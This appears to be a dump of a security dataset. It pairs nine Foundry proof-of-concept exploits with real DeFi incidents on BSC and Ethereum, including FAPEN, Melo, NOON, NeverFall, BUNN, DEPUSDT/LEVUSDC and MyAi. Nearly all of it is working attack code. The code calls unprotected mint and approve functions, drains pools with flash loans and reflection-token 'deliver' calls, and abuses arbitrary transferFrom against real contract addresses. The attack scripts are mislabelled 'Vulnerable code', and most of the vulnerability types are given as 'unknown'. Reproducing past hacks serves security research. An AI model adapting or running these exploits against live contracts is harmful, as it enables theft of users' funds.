Farseen0/scar-pairs huggingface dataset:
HIGH severity: FAPEN exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~600 USD$ Vulnerable contract address: https://bscscan.com/address/0xf3f1abae8bfeca054b330c379794a7bf84988228 @Info Vulnerable contract code: https://bscscan.com/address/0xf3f1abae8bfeca054b330c379794a7bf84988228#code Vulnerability: Wrong b

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~600 USD$
// Vulnerable contract address: https://bscscan.com/address/0xf3f1abae8bfeca054b330c379794a7bf84988228

// @Info
// Vulnerable contract code: https://bscscan.com/address/0xf3f1abae8bfeca054b330c379794a7bf84988228#code
// Vulnerability: Wrong balance check in unstake function

// @Analysis - https://twitter.com/hexagate_/status/1663501550600302601

interface IFAPEN is IERC20 {
    function unstake(
        uint256 amount
    ) external;
}

contract ContractTest is Test {
    IFAPEN FAPEN = IFAPEN(0xf3F1aBae8BfeCA054B330C379794A7bf84988228);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 28_637_846);
        cheats.label(address(FAPEN), "FAPEN");
        cheats.label(address(WBNB), "WBNB");
        cheats.label(address(Router), "Router");
    }

    function testUnstake() public {
        deal(address(this), 0);
        emit log_named_decimal_uint("Amount of BNB before attack", address(this).balance, 18);
        // Vulnerability lies in unstake function. Bad logic in balance check
        FAPEN.unstake(FAPEN.balanceOf(address(FAPEN)));
        FAPEN.approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(FAPEN);
        path[1] = address(WBNB);
        Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            FAPEN.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
        emit log_named_decimal_uint("Amount of BNB after attack", address(this).balance, 18);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: Melo exploit (access-control). SPDX-License-Identifier: MIT @Analysis https://twitter.com/peckshield/status/1654667621139349505 @TX https://bscscan.com/tx/0x3f1973fe56de5ecd59a815d3b14741cf48385903b0ccfe248f7f10c2765061f7 @Summary critical function lack of access control

Vulnerable code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/peckshield/status/1654667621139349505
// @TX
// https://bscscan.com/tx/0x3f1973fe56de5ecd59a815d3b14741cf48385903b0ccfe248f7f10c2765061f7
// @Summary
// critical function lack of access control

interface IMEL is IERC20 {
    function mint(address account, uint256 amount, string memory txId) external returns (bool);
}

contract ContractTest is Test {
    IMEL MEL = IMEL(0x9A1aEF8C9ADA4224aD774aFdaC07C24955C92a54);
    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x6a8C4448763C08aDEb80ADEbF7A29b9477Fa0628);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 27_960_445);
    }

    function testExploit() external {
        uint256 mintAmount = MEL.balanceOf(address(Pair)) * 50;
        MEL.mint(address(this), mintAmount, "");
        MEL.approve(address(Router), mintAmount);
        address[] memory path = new address[](2);
        path[0] = address(MEL);
        path[1] = address(USDT);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            mintAmount, 0, path, address(this), block.timestamp
        );

        emit log_named_decimal_uint(
            "Attacker USDT balance after exploit", USDT.balanceOf(address(this)), USDT.decimals()
        );
    }
}


Vulnerability type: access-control
HIGH severity: NOON exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~2K USD$ Vulnerable Contract : https://etherscan.io/address/0x6feac5f3792065b21f85bc118d891b33e0673bd8 @Info Vulnerable Contract Code : https://etherscan.io/address/0x6feac5f3792065b21f85bc118d891b33e0673bd8#code @Analysis https://twitter.c

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~2K USD$
// Vulnerable Contract : https://etherscan.io/address/0x6feac5f3792065b21f85bc118d891b33e0673bd8

// @Info
// Vulnerable Contract Code : https://etherscan.io/address/0x6feac5f3792065b21f85bc118d891b33e0673bd8#code

// @Analysis
// https://twitter.com/hexagate_/status/1663501545105702912 (second tx)
// Vulnerability: Closed source contract. Probable vulnerabilities: Wrong function (_transfer) visibility / Non standard ERC20 implementation

interface INO {
    function _transfer(address sender, address recipient, uint256 amount) external;

    function transfer(address to, uint256 value) external;

    function balanceOf(
        address account
    ) external returns (uint256);
}

contract ContractTest is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    INO NO = INO(0x6fEAc5F3792065b21f85BC118D891b33e0673bD8);
    IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x421A5671306CB5f66FF580573C1c8D536E266c93);
    Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public constant flashbotsBuilder = 0xDAFEA492D9c6733ae3d56b7Ed1ADB60692c98Bc5;

    function setUp() public {
        cheats.createSelectFork("mainnet", 17_366_979);
        cheats.label(address(NO), "NO");
        cheats.label(address(WETH), "WETH");
        cheats.label(address(Pair), "Pair");
        cheats.label(address(Router), "Router");
    }

    function testTransfer() public {
        emit log_named_decimal_uint(
            "Attacker amount of WETH before exploitation of vulnerability",
            WETH.balanceOf(address(this)),
            WETH.decimals()
        );
        // Vulnerable point. Looks like this function has wrong visibility. This shouldn't be public
        NO._transfer(address(Pair), address(this), NO.balanceOf(address(Pair)) - 1);

        Pair.sync();
        // This transfer function seems to be not compatible with IERC20. Custom implementation
        NO.transfer(address(Pair), NO.balanceOf(address(this)));

        (uint256 NOReserve, uint256 WETHReserve,) = Pair.getReserves();

        flashbotsBuilder.call{value: 0.000000001 ether}("");

        uint256 amount1Out = Router.getAmountOut(NO.balanceOf(address(Pair)) - 1, NOReserve, WETHReserve);

        Pair.swap(0, amount1Out, address(this), "");

        emit log_named_decimal_uint(
            "Attacker amount of WETH after exploitation of vulnerability",
            WETH.balanceOf(address(this)),
            WETH.decimals()
        );
    }
}


Vulnerability type: unknown
HIGH severity: NeverFall exploit (unknown). SPDX-License-Identifier: MIT

Vulnerable code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

/*
@Analysis
https://twitter.com/BeosinAlert/status/1653619782317662211
@TX
https://bscscan.com/tx/0xccf513fa8a8ed762487a0dcfa54aa65c74285de1bc517bd68dbafa2813e4b7cb*/

interface INeverFall {
    function buy(
        uint256 amountU
    ) external returns (uint256);
    function sell(
        uint256 amount
    ) external returns (uint256);
}

contract ContractTest is Test {
    address neverFall = 0x5ABDe8B434133C98c36F4B21476791D95D888bF5;
    address router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
    address creator = 0x051d6a5f987e4fc53B458eC4f88A104356E6995a;
    address busd_usdt_pool = 0x7EFaEf62fDdCCa950418312c6C91Aef321375A00;
    address usdt = 0x55d398326f99059fF775485246999027B3197955;
    address payable pancakeRouter = payable(0x10ED43C718714eb63d5aA57B78B54704E256024E);

    function setUp() public {
        vm.createSelectFork("bsc", 27_863_178 - 1);
    }

    function testExploit() public {
        uint256 flashLoanAmount = 1_600_000 * 1e18;
        IUniswapV2Pair(busd_usdt_pool).swap(flashLoanAmount, 0, address(this), new bytes(1));
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        uint256 usdtBalance = IERC20(usdt).balanceOf(address(this));
        IERC20(usdt).approve(neverFall, type(uint256).max);
        IERC20(usdt).approve(router, type(uint256).max);
        // buy neverfall
        INeverFall(neverFall).buy(200_000 * 1e18);
        bscSwap(usdt, neverFall, 1_400_000 * 1e18);
        // sell neverfall
        INeverFall(neverFall).sell(75_500_000 * 1e18);

        IERC20(usdt).transfer(msg.sender, usdtBalance + usdtBalance * 30 / 10_000);
        emit log_named_decimal_uint("[After Attacks]  Attacker usdt balance", IERC20(usdt).balanceOf(address(this)), 18);
    }

    function bscSwap(address tokenFrom, address tokenTo, uint256 amount) internal {
        IERC20(tokenFrom).approve(pancakeRouter, type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = tokenFrom;
        path[1] = tokenTo;
        IUniswapV2Router(pancakeRouter).swapExactTokensForTokensSupportingFeeOnTransferTokens(
            amount, 0, path, creator, block.timestamp
        );
    }
}


Vulnerability type: unknown
HIGH severity: landNFT exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : 200 land NFT => 28,601 $XQJ  => 149,616 $BUSD Attack Tx : https://bscscan.com/tx/0xe4db1550e3aa78a05e93bfd8fbe21b6eba5cce50dc06688949ab479ebed18048 @Analysis https://twitter.com/BeosinAlert/status/1658000784943124480?cxt=HHwWgMDU_b27s4IuAAA

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : 200 land NFT => 28,601 $XQJ  => 149,616 $BUSD
// Attack Tx : https://bscscan.com/tx/0xe4db1550e3aa78a05e93bfd8fbe21b6eba5cce50dc06688949ab479ebed18048
// @Analysis
// https://twitter.com/BeosinAlert/status/1658000784943124480?cxt=HHwWgMDU_b27s4IuAAAA
// https://twitter.com/BeosinAlert/status/1658002030953365505?cxt=HHwWgoDQvYGEtIIuAAAA
// @Summary
// Vulnerability: lack of permission control on mint

interface IMiner {
    function mint(address[] memory to, uint256[] memory value) external;
}

contract ContractTest is Test {
    IERC721 landNFT = IERC721(0x1a62fe088F46561bE92BB5F6e83266289b94C154);
    IMiner minerContract = IMiner(0x2e599883715D2f92468Fa5ae3F9aab4E930E3aC7);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 28_208_132);
        cheats.label(address(landNFT), "landNFT");
        cheats.label(address(minerContract), "Miner");
    }

    function testExploit() public {
        emit log_named_uint("Attacker amount of NFT land before mint", landNFT.balanceOf(address(this)));

        address[] memory to = new address[](1);
        to[0] = address(this);
        uint256[] memory amount = new uint256[](1);
        amount[0] = 200;
        minerContract.mint(to, amount);

        emit log_named_uint("Attacker amount of NFT land after mint", landNFT.balanceOf(address(this)));
    }

    function onERC721Received(address, address, uint256, bytes memory) external returns (bytes4) {
        return this.onERC721Received.selector;
    }
}


Vulnerability type: unknown
HIGH severity: BUNN exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/DecurityHQ/status/1671803688996806656 @TX https://bscscan.com/tx/0x24a68d2a4bbb02f398d3601acfd87b09f543d935fc24862c314aaf64c295acdb @Summary Reelection token,call deliver function to decrease pairs token balance,and swap to get the pr

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/DecurityHQ/status/1671803688996806656
// @TX
// https://bscscan.com/tx/0x24a68d2a4bbb02f398d3601acfd87b09f543d935fc24862c314aaf64c295acdb
// @Summary
// Reelection token,call deliver function to decrease pairs token balance,and swap to get the profit.

interface Bunn is IERC20 {
    function deliver(
        uint256 tAmount
    ) external;
}

contract ContractTest is Test {
    IERC20 constant WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Bunn constant BUNN = Bunn(0xc54AAecF5fA1b6c007d019a9d14dFb4a77CC3039);
    IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IPancakePair constant Bunn_Wbnb_Poll = IPancakePair(0xb4B84375Ae9bb94d19F416D3db553827Be349520);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() external {
        cheats.createSelectFork("bsc", 29_304_627);
    }

    function testExploit() external {
        Bunn_Wbnb_Poll.swap(44 ether, 1_000_000_000_000, address(this), "0x0"); //44 bnb profit
        Bunn_Wbnb_Poll.swap(8 ether, 1_000_000_000_000, address(this), "0x0"); // 8 bnb profit

        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
        console.log("Before deliver,pair bunn balance:", BUNN.balanceOf(address(Bunn_Wbnb_Poll)));
        BUNN.deliver(990_000_000_000);
        console.log("After deliver,pair bunn balance:", BUNN.balanceOf(address(Bunn_Wbnb_Poll)));
    }
}


Vulnerability type: unknown
HIGH severity: Contract_0x7657 exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~1300 $USDC Attacker : https://etherscan.io/address/0x015d0b51d0a65ad11cf4425de2ec86a7b320db3f Attack Contract : https://etherscan.io/address/0xfe2011dad32ad6dfd128e55490c0fd999f3d2221 Vulnerable Contract : https://etherscan.io/address/0x76

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~1300 $USDC
// Attacker : https://etherscan.io/address/0x015d0b51d0a65ad11cf4425de2ec86a7b320db3f
// Attack Contract : https://etherscan.io/address/0xfe2011dad32ad6dfd128e55490c0fd999f3d2221
// Vulnerable Contract : https://etherscan.io/address/0x76577603f99eae8320f70b410a350a83d744cb77
// Attack Tx : https://etherscan.io/tx/0x74279a131dccd6479378b3454ea189a6ce350cce51de47d81a0ef23db1b134d5

import "forge-std/Test.sol";
import "./../interface.sol";

interface IDPPAdvanced {
    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
}

interface IUSDTinterface {
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function approve(address _spender, uint256 _value) external;
    function balanceOf(
        address owner
    ) external view returns (uint256);
    function transfer(address _to, uint256 _value) external;
}

contract ContractTest is Test {
    IUSDTinterface USDT = IUSDTinterface(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    address Contract_addr = 0x76577603F99EAe8320F70B410a350a83D744CB77;
    address Victim = 0x637b935CbA030Aeb876eae07Aa7FF637166de4D6;

    function setUp() public {
        vm.createSelectFork("mainnet", 17_511_178 - 1);
        vm.label(address(USDT), "USDT");
        vm.label(address(Contract_addr), "Contract_addr");
        vm.label(address(Victim), "Victim");
    }

    function testExploit() public {
        emit log_named_decimal_uint("Attacker USDT balance before attack", USDT.balanceOf(address(this)), 6);
        uint256 Victim_balance = USDT.balanceOf(address(Victim));
        (bool success, bytes memory data) =
            Contract_addr.call(abi.encodeWithSelector(bytes4(0x0a8fe064), address(this), Victim, 0, Victim_balance, 1));
        emit log_named_decimal_uint("Attacker USDT balance before attack", USDT.balanceOf(address(this)), 6);
    }

    function Sell(uint256 _snipeID, uint256 _sellPercentage) external payable returns (bool) {
        address(USDT).call(abi.encodeWithSelector(bytes4(0x23b872dd), Contract_addr, address(this), _snipeID));
        return false;
    }

    fallback() external payable {}
    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: DEPUSDT_LEVUSDC exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~36K USD$ (LEVUSDC) + ~69K USD$ (DEPUSDT) Vulnerable Proxy DEPUSDT : https://etherscan.io/address/0x7b190a928aa76eece5cb3e0f6b3bdb24fcdd9b4f Vulnerable Proxy LEVUSDC : https://etherscan.io/address/0x2a2b195558cf89aa617979ce28880bbf7e17bc45 

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~36K USD$ (LEVUSDC) + ~69K USD$ (DEPUSDT)
// Vulnerable Proxy DEPUSDT : https://etherscan.io/address/0x7b190a928aa76eece5cb3e0f6b3bdb24fcdd9b4f
// Vulnerable Proxy LEVUSDC : https://etherscan.io/address/0x2a2b195558cf89aa617979ce28880bbf7e17bc45
// Attack Tx DEPUSDT : https://etherscan.io/tx/0xf0a13b445674094c455de9e947a25bade75cac9f5176695fca418898ea25742f
// Attack Tx LEVUSDC : https://etherscan.io/tx/0x800a5b3178f680feebb81af69bd3dff791b886d4ce31615e601f2bb1f543bb2e

// @Analysis : https://twitter.com/numencyber/status/1669278694744150016?cxt=HHwWgMDS9Z2IvKouAAAA

interface IProxy {
    function approveToken(address token, address pool, uint256 amount) external;
}

interface IToken {
    function balanceOf(
        address who
    ) external view returns (uint256);

    function transferFrom(address sender, address recipient, uint256 amount) external;
}

contract ContractTest is Test {
    IToken DEPUSDT = IToken(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    IToken LEVUSDC = IToken(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IProxy ProxyDEPUSDT = IProxy(0x7b190a928Aa76EeCE5Cb3E0f6b3BdB24fcDd9b4f);
    IProxy ProxyLEVUSDC = IProxy(0x2a2b195558cF89AA617979ce28880BbF7e17bc45);
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 17_484_161);
        cheats.label(address(DEPUSDT), "DEPUSDT");
        cheats.label(address(LEVUSDC), "LEVUSDC");
        cheats.label(address(ProxyDEPUSDT), "ProxyDEPUSDT");
        cheats.label(address(ProxyLEVUSDC), "ProxyLEVUSDC");
    }

    function testApprove() public {
        // No access control. Thanks to this, attacker obtained authorization to transfer funds
        ProxyDEPUSDT.approveToken(address(DEPUSDT), address(this), type(uint256).max);

        DEPUSDT.transferFrom(address(ProxyDEPUSDT), address(this), DEPUSDT.balanceOf(address(ProxyDEPUSDT)));

        cheats.roll(17_484_167);

        ProxyLEVUSDC.approveToken(address(LEVUSDC), address(this), type(uint256).max);

        LEVUSDC.transferFrom(address(ProxyLEVUSDC), address(this), LEVUSDC.balanceOf(address(ProxyLEVUSDC)));

        emit log_named_decimal_uint("Attacker DEPUSDT balance after hack", DEPUSDT.balanceOf(address(this)), 6);

        emit log_named_decimal_uint("Attacker LEVUSDC balance after hack", LEVUSDC.balanceOf(address(this)), 6);
    }
}


Vulnerability type: unknown
HIGH severity: MyAi exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~10 $BNB Attacker : https://bscscan.com/address/0xc47fcc9263b026033a94574ec432514c639a2d12 Attack Contract : https://bscscan.com/address/0x0d3aafb9ade835456b2595509ac1f58922e465b3 Vulnerable Contract : https://bscscan.com/address/0xdb103fd2

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~10 $BNB
// Attacker : https://bscscan.com/address/0xc47fcc9263b026033a94574ec432514c639a2d12
// Attack Contract : https://bscscan.com/address/0x0d3aafb9ade835456b2595509ac1f58922e465b3
// Vulnerable Contract : https://bscscan.com/address/0xdb103fd28ca4b18115f5ce908baaeed7e0f1f101
// Attack Tx : https://bscscan.com/tx/0x346f65ac333eb6d69886f5614aaf569a561a53a8d93db4384bd7c0bec15ae9f6

import "forge-std/Test.sol";
import "./../interface.sol";

interface IMultiSender {
    function batchTokenTransfer(
        address _from,
        address[] memory _address,
        uint256[] memory _amounts,
        address token,
        uint256 totalAmount,
        bool isToken
    ) external payable;
}

contract ContractTest is Test {
    IERC20 MyAi = IERC20(0x40d1E011669c0dc7Dc7c7Fb93E623d6A661Df5Ee);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IPancakeRouter PancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    IMultiSender MultiSender = IMultiSender(0xDb103fd28Ca4B18115F5Ce908baaeed7E0f1f101);
    address Victim = 0x003B724f9e1fa7350A7723BB8313ACBDbE7188CB;

    function setUp() public {
        vm.createSelectFork("bsc", 29_554_344 - 1);
        vm.label(address(WBNB), "WBNB");
        vm.label(address(MyAi), "MyAi");
        vm.label(address(MultiSender), "MultiSender");
    }

    function testExploit() public {
        emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);
        MyAi.approve(address(PancakeRouter), type(uint256).max);
        MyAi.approve(address(MultiSender), type(uint256).max);

        address[] memory Attack = new address[](100);
        for (uint256 i = 0; i < Attack.length; i++) {
            Attack[i] = address(this);
        }
        uint256[] memory Token = new uint256[](100);
        for (uint256 i = 0; i < Attack.length; i++) {
            Token[i] = 999_999_999_999_400;
        }

        MultiSender.batchTokenTransfer{value: 1 ether}(
            Victim, Attack, Token, address(MyAi), 999_999_999_999_400 * 100, true
        );
        for (uint256 i = 0; i < 100; i++) {
            TOKENToWBNB();
        }
        emit log_named_decimal_uint("Attacker WBNB balance before attack", WBNB.balanceOf(address(this)), 18);
    }

    function TOKENToWBNB() internal {
        address[] memory path = new address[](2);
        path[0] = address(MyAi);
        path[1] = address(WBNB);
        PancakeRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            999_999_999_999_400, 0, path, address(this), block.timestamp
        );
    }

    fallback() external payable {}
    receive() external payable {}
}


Vulnerability type: unknown